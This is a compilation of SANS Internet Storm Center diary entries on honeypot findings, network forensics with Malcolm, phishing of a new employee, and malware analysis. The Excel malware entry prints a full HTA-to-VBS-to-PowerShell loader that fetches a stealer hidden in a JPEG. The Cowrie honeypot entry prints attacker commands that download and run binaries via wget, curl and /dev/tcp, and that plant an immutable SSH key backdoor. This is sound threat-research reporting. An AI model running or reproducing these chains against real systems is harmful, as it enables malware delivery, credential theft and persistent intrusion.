Ichano's "AtHome Camera" is a bit of a different approach to home surveillance cameras [1]. Instead of a hardware camera solution, this product is a software solution that turns existing devices like computers and tablets into webcams. The software implements features we know from similar IP camera devices. It enabled streaming of images and remote access to features like motion detection and alerting.

Back in 2017, a hard-coded username and password vulnerability was identified in the product (CVE-2017-17761) [2]. It is kind of odd that it took so long for this username to show up in scans against our honeypots, but I noticed it on June 18th. The password attempted is "123", as outlined in CVE-2017-17761. It is not clear if this issue was ever fixed by Ichano.

IP addresses scanning for this username and password combination are also scanning for other typical "IoT" default usernames and passwords, with usernames like "root", "admin", "gast", "gpon" and others.

Some of the IP addresses actively scanning:

104.155.29.102,  Google Cloud, US
110.233.163.181, Biglobe, Japan
110.233.163.180, Biglobe, Japan
123.210.143.28,  Telstra, Australia 
139.135.69.203,  DITO TELECOMMUNITY, Philippines
153.237.47.226,  Open Computer Network, Japan
178.242.192.55,  TURKCELL, Turkey
185.248.13.240,  ATLANTISNET, Turkey
220.107.154.153  Open Computer Network, Japan
 

Nothing specifically special or exciting about these IPs as far as I can tell.

 

[1] https://www.ichano.com/
[2] https://www.exploit-db.com/exploits/44048

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Ehsaan Mavani talks about Alternate Data Streams (ADS) in diary entry "Alternate Data Streams ? Adversary Defense Evasion and Detection [Guest Diary]".

I'm taking this as an opportunity to remind you that Python tools on Windows and an NTFS disk, can access alternate data streams.

Like my tool cut-bytes.py, here I use it to show the content of the Mark-of-the-Web stored inside the Zone.Identifier ADS:

You just need to type a colon (:) followed by the ADS name after the filename.

I didn't have to code this in Python for Windows, it's default behavior.

I did code ADS features in my FileScanner tool. It's not written in Python, but in C for Windows, and I coded features to enumerate and scan alternate data streams.

If you give it a file to scan, it will scan the file content, and also the content of all of its alternate data streams. Like with this download with a MotW:

And if you give it a folder or a drive to scan, it will also enumerate and scan all alternate data streams.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

[This is a Guest Diary by Matthew Paul, an ISC intern as part of the SANS.edu BACS program]

Over the past few months, I’ve been working under a SANS Internet Storm Center (ISC) Sr. Handler as part of the SANS Degree Program ISC Internship.  The first objective of the internship is setting up a forward-facing honeypot on your network to review and report on log activity. 

For this internship I wanted to focus more on packet vs log analysis. For my setup, I did a bare-metal install of the network analysis tool Malcolm to use as an NSM/IDS.  I setup a 5-port managed switch and configured a monitor port for the honeypot with the mirror sending packets to my Malcolm sensor. This setup allowed me to collect and analyze all traffic going to and from my honeypot.

Malcolm is a network capture and analysis tool smartly comprised of various open-source tools; Arkime, OpenSearch, Logstash, Filebeat, OpenSearch Dashboards, Zeek, Suricata, Yara, Capa, ClamAV, CyberChef, jQuery File Upload, NetBox, PostgresSQL, Redis, Keycloak, OpenResty, nginx-auth-ldap, Fluent Bit, Mark Baggett’s (SANS Instructor) freq.py, Florian Roth’s Signature-Base Yara Rules, Bart Blaze’s Yara Rules, RerversingLabs’ Yara Rules and multiple Zeek Packages.[1]

*Graphic Sourced from https://malcolm.fyi/docs/components.html 

Malcolm was created by Idaho National Labs as part of a CISA contract to assist with protecting critical infrastructure, most notably it incorporates ICS protocol parsers not commonly seen with other tools, albeit their inclusion is growing.   

There is an additional tool that can be used with Malcolm, Hedgehog Linux. Deployment of a Hedgehog sensor seemed overkill for my use case, but it’s an option nonetheless.   Hedgehog Linux can be installed on a separate appliance as a PCAP ingestion sensor freeing up Malcolm resources for analysis.  The Hedgehog sensor monitors network interfaces, captures traffic and generates PCAPs, detects file transfers in network traffic and extracts/scans the files for threats, generates and forward Zeek logs, Arkime sessions, and other information to Malcolm [2].  It’s important to note you do not need the Hedgehog Linux sensor for Malcolm to work.  During the Malcolm install there is an option to have Malcolm ingest packets or use a Hedgehog Linux sensor. 

*Graphic Sourced from https://malcolm.fyi/docs/hedgehog.html

Malcolm can be installed via an ISO or ran in a Docker/Kubernetes container.  I opted for the bare-metal option as I had a spare Intel NUC computer that fit my needs, and having a dedicated compact capture sensor seemed like a good idea.  The Malcolm ISO is quite large, anywhere from 4 – 6 GBs requiring the ISO to be downloaded in chunks from GitHub. There is an included script (release_cleaver.ps1) to stitch everything together.  Once downloaded and assembled, the ISO can be used to create a bootable drive using your favorite tool – Rufus, Balena Etcher…etc.

The install is straight forward and runs through multiple prompts for selecting a customized installation. The documentation is quite robust on the Malcolm page (https://malcolm.fyi/)  which mirrors their GitHub page. While previous installations resulted in some tweaks here and there, the most recent ISO worked as advertised post installation. 

I am always surprised by the amount of people who are unaware of this tool.  The features and workflow made this internship so much easier than simply pulling and parsing honeypot logs.  Below is a common workflow that I used for one of the attacks I analyzed.

I found info for this particular attack in the Zeek Weird Logs.  Zeek Weird logs are generated by protocol anomalies [3].  Weird.logs are often overlooked but can be advantageous to review, especially in my case where I only had traffic from one device.  There are other ways to filter for this example such as selecting Telenet from the Common Protocols List.  From here I filtered NUL_in_line to get the below. These logs indicate null bytes (\x00) are found in unexpected places.  

From here I chose an IP originating from a country which I had a significant higher number of attacks – RUS.  Note:  Not captured on the previous dashboard image, but further down the screen was a world map with the IP activity level for each country. Selecting any identifying characteristic creates a dashboard filter.  Note the destination port number 23; Telnet. 

Once I have an IP, date, and time I pivot over to Arkime.  From here I create a filter for the IP and input the appropriate date and time.  Arkime provides session data and the ability to download the pcap to open in Wireshark for a more thorough deep dive.  Note under the Data Source Zeek is displayed.  There are multiple data sources (Arkime, Suricata, Zeek…etc.) that can be separately displayed or displayed all at once. 

Below Arkime is selected as the data source.  This view will provide the option to download the pcap which we will do next. 

We’ll expand the session and select “Download PCAP.”

In Wireshark we see the below activity:

Since this is an unencrypted TCP session, we can right click and select follow stream to view the below output:

We see some root password guessing here with success using jvbzd, a default UNIX password SANS ISC advised against using this default password in 2016. [4]

We see some recon attempts for mount points and attempts to reach out using wget. With this being a honeypot, the threat actor’s mobility was restricted and they eventually realized this and exited the box.  

This is another strong reminder that only you can prevent easy exploitation by changing your default password. 
Malcolm is a great tool and free to implement.  

[1] https://malcolm.fyi/docs/components.html
[2] https://malcolm.fyi/docs/hedgehog.html 
[3] Zeek Weird Logs: https://docs.zeek.org/en/master/logs/weird-and-notice.html 
[4] https://isc.sans.edu/diary/21791 
[5] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

[This is a guest diary by Christopher Crowley, https://montance.com]

Here’s a good reason to include security awareness training for new hires!

I recently added an account to my Google Workspace domain (montance[dot]com). Friday, May 16th, 10:10 am, to be exact. Something interesting to note about the domain configuration is there’s a catchall account in place, so all email addresses are valid.

Starting May 28th the new account started receiving targeted phishing email messages. The subject was either blank or a variation of my name (Chris or Christopher), and the sender's "From" address had a call to action and urgency:

From: "EMERGENCY: PROVIDE YOUR CELL NUMBER IMMEDIATELY"
From: "EMERGENCY:PROVIDE YOUR CELL PHONE NUMBER IMMEDIATELY ASAP"
From: "EMERGENCY; PROVIDE YOUR CELL PHONE NUMBER IMMEDIATELY"
From: GET BACK TO ME IMMEDIATELY
From: JUNE THURSDAY 5TH
From: Quick Response
From: RESPONSE REQUIRED
From: Timely Reminder

The messages all indicated that there were some urgent tasks to perform and that I supposedly needed the person’s phone number. There were 8 unique email addresses used, all of which invoke the concept of urgency:

hoursworking605--at--gmail_com
immediatelyofficemail79--at--gmail_com
officeoperatedeskboxx360--at--gmail_com
promotionaltask747--at--gmail_com
promotiontask910--at--gmail_com
quickreply946--at--gmail_com
quicktask5511--at--gmail_com
urgentmails696--at--gmail_com

All of these went into the Spam folder until June 10th, when a couple got through.  Noteworthy, almost all of the email salutations used the recipient’s LinkedIn name. This is obvious because his name on LI includes certifications. Then on June 10th, they sent him a text message:

This is likely reasonably automated phishing with low targeting specificity, but the identification of the new account and fast phishing was interesting. In my case, it was easy to observe since there are so few accounts in the domain and he’s a vigilant and cyber-aware person. MFA is enabled.

One question I have for readers: does anyone have a script or know of a project that’s an equivalent of Invoke-MSOLSpray targeting Google Workspace domains? Someone must be using something like that to discover new accounts. The email address wasn’t posted online anywhere. His LinkedIn profile has a different email address. So, there was some amount of correlation the sender of the spam did.

Nothing especially surprising, but a reminder that they’re watching for opportunities. Someone new at the company and eager to appear responsive seems like a good phishing target!

---
Christopher Crowley
Author, Consultant, Instructor
https://montance.com

Over the weekend, Xavier posted about another image with a payload: "More Steganography!".

Xavier did a static analysis, and I want to explain how you can decode the payload if you opted for a dynamic analysis.

During your dynamic analysis, you will notice the download of a JPEG image from hxxps://zynova[.]kesug[.]com/new_image.jpg.

You can use my tool jpegdump.py to analyze this file:

You can see that data is appended (after EOI, End Of Image). Notice *trailing*.

This can be selected:

Notice the TVqQ that Xavier pointed out. That's BASE64 encoding of MZ, the magic header of a PE file.

But the @ character is unexpected. That's not part of the BASE64 standard. So let's do some statistics with byte-stats.py:

So we see that all the letters appears in this payload, except for letter A. Let's try out an hypothesis: character @ is a substitute for character A.

That's indeed the case, base64dump.py finds a huge BASE64 string, that once decoded starts with MZ.

If you want to see the SHA256 hash in stead of the MD5 hash, so that we can compare it with what Xavier published, you can set environment variable DSS_DEFAULT_HASH_ALGORITHMS.

And that's the same hash as Xavier published for the .NET DLL.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

I spotted another interesting file that uses, once again, steganography. It seems to be a trend (see one of my previous diaries[1]). The file is an malicious Excel sheet called blcopy.xls. Office documents are rare these days because Microsoft improved the rules to allow automatic macro execution[2]. But it does not mean that Office documents can't execute malicious code. In the sample I found (SHA256:c92c761a4c5c3f44e914d6654a678953d56d4d3a2329433afe1710b59c9acd3a), there are other embedded XLS sheets:

remnux@remnux:~/malwarezoo/20250611$ oledump.py blcopy.xls
  1:       114 '\x01CompObj'
  2:       244 '\x05DocumentSummaryInformation'
  3:       200 '\x05SummaryInformation'
  4:       114 'MBD012124E0/\x01CompObj'
  5:       448 'MBD012124E0/\x05DocumentSummaryInformation'
  6:     27016 'MBD012124E0/\x05SummaryInformation'
  7:       114 'MBD012124E0/MBD008FCB33/\x01CompObj'
  8:     68088 'MBD012124E0/MBD008FCB33/Package'
  9:       114 'MBD012124E0/MBD008FD33C/\x01CompObj'
 10:       652 'MBD012124E0/MBD008FD33C/\x05DocumentSummaryInformation'
 11:     30228 'MBD012124E0/MBD008FD33C/\x05SummaryInformation'
 12:    218567 'MBD012124E0/MBD008FD33C/Workbook'
 13:       114 'MBD012124E0/MBD008FDB50/\x01CompObj'
 14:    111781 'MBD012124E0/MBD008FDB50/Package'
 15:       114 'MBD012124E0/MBD008FED44/\x01CompObj'
 16:    408066 'MBD012124E0/MBD008FED44/Package'
 17:    373246 'MBD012124E0/Workbook'
 18:       716 'MBD012124E1/\x01Ole'
 19:    442912 'Workbook'
 20:       525 '_VBA_PROJECT_CUR/PROJECT'
 21:       104 '_VBA_PROJECT_CUR/PROJECTwm'
 22: m     977 '_VBA_PROJECT_CUR/VBA/Sheet1'
 23: m     977 '_VBA_PROJECT_CUR/VBA/Sheet2'
 24: m     977 '_VBA_PROJECT_CUR/VBA/Sheet3'
 25: m     985 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
 26:      2644 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
 27:       553 '_VBA_PROJECT_CUR/VBA/dir'

remnux@remnux:~/malwarezoo/20250611$ oledump.py blcopy.xls -s 14 -d | zipdump.py
Index Filename                                 Encrypted Timestamp           
    1 [Content_Types].xml                              0 1980-01-01 00:00:00 
    2 _rels/.rels                                      0 1980-01-01 00:00:00 
    3 xl/_rels/workbook.xml.rels                       0 1980-01-01 00:00:00 
    4 xl/workbook.xml                                  0 1980-01-01 00:00:00 
    5 xl/worksheets/sheet4.xml                         0 1980-01-01 00:00:00 
    6 xl/worksheets/_rels/sheet5.xml.rels              0 1980-01-01 00:00:00 
    7 xl/worksheets/_rels/sheet4.xml.rels              0 1980-01-01 00:00:00 
    8 xl/worksheets/_rels/sheet3.xml.rels              0 1980-01-01 00:00:00 
    9 xl/worksheets/_rels/sheet2.xml.rels              0 1980-01-01 00:00:00 
   10 xl/worksheets/_rels/sheet1.xml.rels              0 1980-01-01 00:00:00 
   11 xl/worksheets/sheet2.xml                         0 1980-01-01 00:00:00 
   12 xl/worksheets/_rels/sheet6.xml.rels              0 1980-01-01 00:00:00 
   13 xl/worksheets/_rels/sheet7.xml.rels              0 1980-01-01 00:00:00 
   14 xl/worksheets/_rels/sheet8.xml.rels              0 1980-01-01 00:00:00 
   15 xl/worksheets/_rels/sheet13.xml.rels             0 1980-01-01 00:00:00 
   16 xl/worksheets/_rels/sheet12.xml.rels             0 1980-01-01 00:00:00 
   17 xl/worksheets/_rels/sheet11.xml.rels             0 1980-01-01 00:00:00 
   18 xl/worksheets/_rels/sheet10.xml.rels             0 1980-01-01 00:00:00 
   19 xl/worksheets/_rels/sheet9.xml.rels              0 1980-01-01 00:00:00 
   20 xl/worksheets/sheet3.xml                         0 1980-01-01 00:00:00 
   21 xl/worksheets/sheet1.xml                         0 1980-01-01 00:00:00 
   22 xl/styles.xml                                    0 1980-01-01 00:00:00 
   23 xl/worksheets/sheet11.xml                        0 1980-01-01 00:00:00 
   24 xl/worksheets/sheet12.xml                        0 1980-01-01 00:00:00 
   25 xl/worksheets/sheet13.xml                        0 1980-01-01 00:00:00 
   26 xl/theme/theme1.xml                              0 1980-01-01 00:00:00 
   27 xl/sharedStrings.xml                             0 1980-01-01 00:00:00 
   28 xl/worksheets/sheet10.xml                        0 1980-01-01 00:00:00 
   29 xl/worksheets/sheet8.xml                         0 1980-01-01 00:00:00 
   30 xl/worksheets/sheet5.xml                         0 1980-01-01 00:00:00 
   31 xl/worksheets/sheet6.xml                         0 1980-01-01 00:00:00 
   32 xl/worksheets/sheet7.xml                         0 1980-01-01 00:00:00 
   33 xl/worksheets/sheet9.xml                         0 1980-01-01 00:00:00 
   34 xl/printerSettings/printerSettings5.bin          0 1980-01-01 00:00:00 
   35 xl/printerSettings/printerSettings4.bin          0 1980-01-01 00:00:00 
   36 xl/printerSettings/printerSettings2.bin          0 1980-01-01 00:00:00 
   37 xl/printerSettings/printerSettings6.bin          0 1980-01-01 00:00:00 
   38 xl/printerSettings/printerSettings7.bin          0 1980-01-01 00:00:00 
   39 xl/printerSettings/printerSettings8.bin          0 1980-01-01 00:00:00 
   40 xl/printerSettings/printerSettings9.bin          0 1980-01-01 00:00:00 
   41 xl/printerSettings/printerSettings10.bin         0 1980-01-01 00:00:00 
   42 xl/printerSettings/printerSettings11.bin         0 1980-01-01 00:00:00 
   43 xl/printerSettings/printerSettings12.bin         0 1980-01-01 00:00:00 
   44 xl/printerSettings/printerSettings13.bin         0 1980-01-01 00:00:00 
   45 xl/printerSettings/printerSettings3.bin          0 1980-01-01 00:00:00 
   46 xl/printerSettings/printerSettings1.bin          0 1980-01-01 00:00:00 
   47 docProps/thumbnail.wmf                           0 1980-01-01 00:00:00 
   48 docProps/core.xml                                0 1980-01-01 00:00:00 
   49 docProps/app.xml                                 0 1980-01-01 00:00:00 

Let's focus on the payload downloaded by this file: 

hxxp://107[.]172[.]235[.]203/245/wecreatedbestsolutionswithniceworkingskill.hta

This HTA file will generate a BAT file ('C:\Windows\Temp\invertase.bat') that will generate and execute a VBS file ('C:\Windows\Temp\poikilohydric.vbs'):

<script language="VBScript">
  Dim adarme
  Set adarme = CreateObject("WScript.Shell")
  Dim bondwoman
  bondwoman = "C:\Windows\Temp\invertase.bat"
  Dim leucanthemum, methylamines
  Set leucanthemum = CreateObject("Scripting.FileSystemObject")
  Set methylamines = leucanthemum.CreateTextFile(bondwoman, True)
  methylamines.WriteLine "@echo off"
  methylamines.WriteLine "setlocal"
  methylamines.WriteLine "set ""fugues=C:\Windows\Temp\poikilohydric.vbs"""
  methylamines.WriteLine "echo Dim morasses, raconteur > ""%fugues%"""
  methylamines.WriteLine "echo morasses = Replace(StrReverse(""0@/@b@j@l@A@h@f@i@t@/@d@/@e@e@.@e@t@s@a@p@/@/@:@p@t@t
@h@""), ""@"", """") >> ""%fugues%"""
  methylamines.WriteLine "echo Set raconteur = CreateObject(""MSXML2.ServerXMLHTTP"") >> ""%fugues%"""
  methylamines.WriteLine "echo raconteur.open ""GET"", morasses, False >> ""%fugues%"""
  methylamines.WriteLine "echo raconteur.send >> ""%fugues%"""
  methylamines.WriteLine "echo If raconteur.Status = 200 Then >> ""%fugues%"""
  methylamines.WriteLine "echo     ExecuteGlobal raconteur.responseText >> ""%fugues%"""
  methylamines.WriteLine "echo End If >> ""%fugues%"""
  methylamines.WriteLine "start """" /b wscript //nologo ""%fugues%"""
  methylamines.WriteLine "timeout /t 1 /nobreak >nul"
  methylamines.WriteLine "del ""%fugues%"""
  methylamines.WriteLine "endlocal"        
  methylamines.Close
  adarme.Run "cmd.exe /c """ & bondwoman & """", 0, False        
  window.close
</script>

The generated VBS file will fetch the next payload from the following URL:

hxxp://paste[.]ee/d/tifhAljb/0

This URL will fetch a long VBA script (SHA256:352ef6f5c4568d6ed6a018a5128cf538d33ea72bd040f0fd3b9bca6bd6a5dae9) that will generate a PowerShell script and execute it:

$SuperSkills='SilentlyContinue';
$preparsed='hxxps://zynova[.]kesug[.]com/new_image.jpg';
$thysanurous=New-Object System.Net.WebClient;
$thysanurous.Headers.Add('User-Agent','Mozilla/5.0');
[byte[]]$phytoestrogens=$thysanurous.DownloadData($preparsed);
$septentrions=[System.Text.Encoding]::UTF8.GetString($phytoestrogens);
$incunabula='INICIO>>';
$prescience='<<FIM>>';
$madrina=$newsbot;
$nectaries=$septentrions.IndexOf($incunabula);
$fiftysomethings=$septentrions.IndexOf($prescience);
if($nectaries -ne -1 -and $fiftysomethings -ne -1 -and $fiftysomethings -gt $nectaries)
{
    $nectaries+=$incunabula.Length;
    $madrina=$septentrions.Substring($nectaries,$fiftysomethings-$nectaries)
};
$dachshunds='war/EP#7afLl/ppa.yfe#sap//:sp##h';
$dachshunds=$dachshunds.Replace('#','t');
$madrina=$madrina.Replace('@','A');
$nonassessable=[System.Convert]::FromBase64String($madrina);
$narratology=[Reflection.Assembly]::Load($nonassessable);
$toxodont=[dnlib.IO.Home].GetMethod('VAI').Invoke($newsbot,[object[]]@($dachshunds,'','','','aspnet_compiler','','','','','C:\Users\Public\Downloads','maungy','vbs','','','lygzeid','2',''));

That's where the steganography stuff will happen!

The technique used by the attacker is to add a malicious payload to the picture, delimited by the tags "INICIO>>" and "<<FIM>>":

remnux@remnux:~/malwarezoo/20250611$ grep -a -A 3 "INICIO" new_image.jpg | more
N@�2�Sd�A��#*aɓ$�+!�w�$�2d8$� m��K<�"�y^?�|���0Sg�r;d��L�2d_��INICIO>>TVqQ@@M@@@@E@@@@//8@@Lg@@@@@@@@@Q@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@g@@@@@4fug4@t@nNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ@@@@@@@@@BQ
RQ@@T@ED@ExVKLM@@@@@@@@@@O@@DiEL@T@@@Fg1@@@I@@@@@@@@znY1@@@g@@@@gDU@@@B@@@@g@@@@@g@@B@@@@@@@@@@G@@@@@@@@@@D@NQ@@@g@@@@@@@@
M@YIU@@B@@@B@@@@@@E@@@E@@@@@@@@@8@@@@@@@@@@@@@@IB2NQBL@@@@@I@1@P@F@@@@@@@@@@@@@@@@@@@@@@@@@K@1@@w@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@I@@@C@@@@@@@@@@@@@@@CC@@@Eg@@@@@@@@@@@@@@C50ZXh0@@@@1FY1@@@g@@@@WDU@@@I@@@@@@@
@@@@@@@@@@@C@@@G@ucnNyYw@@@P@F@@@@gDU@@@Y@@@BaNQ@@@@@@@@@@@@@@@@B@@@B@LnJlbG9j@@@M@@@@@K@1@@@C@@@@YDU@@@@@@@@@@@@@@@@@Q@@@

Can you spot the interesting magic bytes? (In red) They indicate the presence of a Base64-encode PE file!

The decoded an deobfuscated payload is a DLL that is loaded and executed! (SHA256:5a73927d56c0fd4a805489d5817e1aa4fbd491e5a91ed36f4a2babef74158912). It seems to be a Katz stealer. Now you have more fresh meat to analyze!

[1] https://isc.sans.edu/diary/A+PNG+Image+With+an+Embedded+Gift/31998
[2] https://learn.microsoft.com/en-us/microsoft-365-apps/security/internet-macros-blocked

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

[This is a Guest Diary by Michal Ambrozkiewicz, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].]

On April 29, 2025, my Raspberry Pi-based Cowrie SSH honeypot captured a sophisticated attack campaign targeting Linux systems. This wasn't just another automated scanner - the logs reveal a multi-stage attack involving SSH brute forcing, backdoor installation, and deployment of architecture-specific malware. In this post, I'll walk through the entire attack chain, from initial access to persistence mechanisms, providing both technical details for security professionals and explanations accessible to those newer to cybersecurity. By understanding how these attacks work in detail, we can better protect our systems from similar threats.

Welcome to my digital fishing expedition! I transformed a modest Raspberry Pi 5 into an irresistible target for cyber attackers by deploying Cowrie - an advanced SSH honeypot that mimics vulnerable systems while secretly documenting every keystroke and technique employed by unsuspecting intruders. Unlike simple packet logging, Cowrie creates an interactive playground where attackers believe they've gained access to a poorly secured Linux system, all while their tactics, tools, and techniques are meticulously recorded for our analysis. This sophisticated deception environment provides a fascinating window into the current attack landscape without putting any production systems at risk.

This approach gives us a front-row seat to the cybersecurity battlefield, where we can observe real-world adversaries' behaviors in their natural habitat rather than merely theorizing about potential attack vectors. The data collected here represents authentic attack techniques being deployed against systems worldwide at this very moment.

My setup includes:

• Raspberry Pi 5 running a customized Debian-based distribution
• Cowrie SSH honeypot configured to listen on port 2222 (forwarded to appear as port 22)
• JSON-based logging of all interactions
• Exposed public IP address with minimal firewall restrictions

Figure 1: Network diagram of a honeypot.

 

The honeypot was configured to allow seemingly successful login attempts with weak credentials, giving attackers the impression they had gained access to a poorly secured Linux system [2].

Figure 2: Status checking on honeypot functionality showing all systems working.

 

Initial Access: The Hunt for Credentials

The honeypot logs reveal numerous SSH brute force attempts throughout April 29th. The attackers used various source IPs but similar attack patterns, suggesting a coordinated campaign or use of compromised infrastructure. The successful compromise occurred at 17:25:32 UTC from IP address %%ip:196.251.70.219%%. The attacker's SSH client identified as "SSH-2.0-Go", indicating the use of a Go-based scanning/exploitation tool. This is consistent with automated attack frameworks commonly used in large-scale campaigns.

The attacker successfully authenticated using:

• Username: root
• Password: abcd123456!

This highlights a critical security issue many systems face - the use of simple, easily guessable passwords. Even in 2025, default or weak credentials remain one of the primary vectors for initial compromise.

cat /home/raspberry/attack_timeline.txt | grep -A 5 "login.success" | grep "196.251.70.219"
2025-04-29T17:25:32.830913Z 196.251.70.219 cowrie.session.connect
2025-04-29T17:25:32.831335Z 196.251.70.219 cowrie.client.version
2025-04-29T17:25:32.857270Z 196.251.70.219 cowrie.client.kex
2025-04-29T17:25:33.137854Z 196.251.70.219 cowrie.login.success
2025-04-29T17:25:48.681675Z 196.251.70.219 cowrie.session.params
2025-04-29T17:25:48.682372Z 196.251.70.219 cowrie.command.input
2025-04-29T17:25:48.715791Z 196.251.70.219 cowrie.session.file_download
2025-04-29T17:25:48.717741Z 196.251.70.219 cowrie.session.file_upload
2025-04-29T17:25:48.719845Z 196.251.70.219 cowrie.session.file_upload

 

Establishing Persistence

Within seconds of gaining access, the attacker executed a series of commands to establish persistence. The attack was highly automated, with all actions occurring within a 15-second timeframe, suggesting a well rehearsed and scripted approach.

The main attack session began with the attacker uploading multiple files via SFTP:

Figure 3: Uploads observation.

 

The most significant persistence mechanism was the installation of an SSH key into the authorized_keys file:

mkdir -p ~/.ssh
chattr -ia ~/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK2 \
16q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv6 \
6I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96h \
u1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWp \
O2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUs \
lEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys
chattr +ai ~/.ssh/authorized_keys

 

The chattr +ai command is particularly notable - it sets the "append-only" and "immutable" attributes on the authorized_keys file, making it difficult for system administrators or security tools to modify or remove the backdoor without specialized knowledge. 

The attacker followed this by checking system information with uname -a and sending a confirmation message back to their infrastructure with the encoded string \x61\x75\x74\x68\x5F\x6F\x6B\x0A which decodes to "auth_ok" - signaling successful compromise.

{"eventid":"cowrie.command.input","input":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; craspberry@pi5:~ $ echo -e "\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A"auth_ok

 

Malware Analysis: Hunting for Architecture-Specific Payloads

The attacker came prepared with multiple malware variants tailored for different CPU architectures, ensuring successful infection regardless of the target system:

1. redtail.arm7 - Targeting older ARM-based devices (SHA-256: 2ef6bb55a79d81fbda6d574456a8c187f610c5ae2ddca38e32cf7cc50912b0bf) [3]
2. redtail.arm8 - For newer ARM64 architecture (SHA-256: fc8730fbe87bcbdc093a1ffbcb0028ccb4c24638e55d13fd853b07574f4cbe4a) [4]
3. redtail.i686 - For 32-bit x86 systems (SHA-256: 7780e72f7dea978946d4615c8db1b239d3e2c742cfc8be2934006b1fd6071110) [5]
4. redtail.x86_64 - For 64-bit x86 systems (SHA-256: b6ee8e08f1d4992ca85770e6883c1d2206ebbaf42f99d99aba0e26278de8bffb) [6]

Beyond the SSH compromise, the logs also reveal alternative infection attempts targeting other vulnerable systems. In a separate session, the attacker attempted to download and execute binaries from external infrastructure:

cd /tmp
wget 209.141.34[.]106/PangaKenya/KKveTTgaAAsecNNaaaa.x86_64
chmod +x KKveTTgaAAsecNNaaaa.x86_64
./KKveTTgaAAsecNNaaaa.x86_64
rm -rf KKveTTgaAAsecNNaaaa.x86_64

 

This "download, execute, delete" pattern is a common technique to avoid leaving malicious files on disk for security tools to detect. The logs also show a more complex fallback mechanism attempting to download malware through three different methods (curl, wget, and direct TCP socket) in case one fails:

nohup $SHELL -c "curl http://202.55.82[.]250:60140/linux -o /tmp/mEpGt06b5j; 
if [ ! -f /tmp/mEpGt06b5j ]; then 
  wget http://202.55.82[.]250:60140/linux -O /tmp/mEpGt06b5j; 
fi; 
if [ ! -f /tmp/mEpGt06b5j ]; then 
  exec 6<>/dev/tcp/202.55.82.250/60140 && 
  echo -n 'GET /linux' >&6 && 
  cat 0<&6 > /tmp/mEpGt06b5j; 
  chmod +x /tmp/mEpGt06b5j && 
  /tmp/mEpGt06b5j [REDACTED ENCODED PARAMETERS];
fi;" &

 

The long encoded string included after the binary execution contains what appears to be configuration data or command and control information.

{
 "persistence_mechanism": {
 "method": "SSH authorized key",
 "key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1
GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscV
xegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBY
hol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6
FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1
hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629",
 "key_comment": "rsa-key-20230629",
 "fingerprint": "SHA256:78gkKoLYeUW62etRipAiAw2jImcwCMnvC5BO9+3mOtY",
 "protection": "chattr +ai (make file immutable)"
 },
 "command_sequence": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setu
p.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo
\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0
q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5y
uZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1Gt
hAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF
6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/z
evIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authori
zed_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\";"
 },

 "additional_malware_downloads": [
 {
 "timestamp": "2025-04-29T07:24:22.084908Z",
 "attacker_ip": "176.65.148.181",
 "malware_source": "209.141.34.106",
 "malware_path": "/PangaKenya/",
 "files": [
 {
 "filename": "KKveTTgaAAsecNNaaaa.x86_64",
 "sha256": "811cd6ebeb9e2b7438ad9d7c382db13c1c04b7d520495261093af51797f5
d4cc"
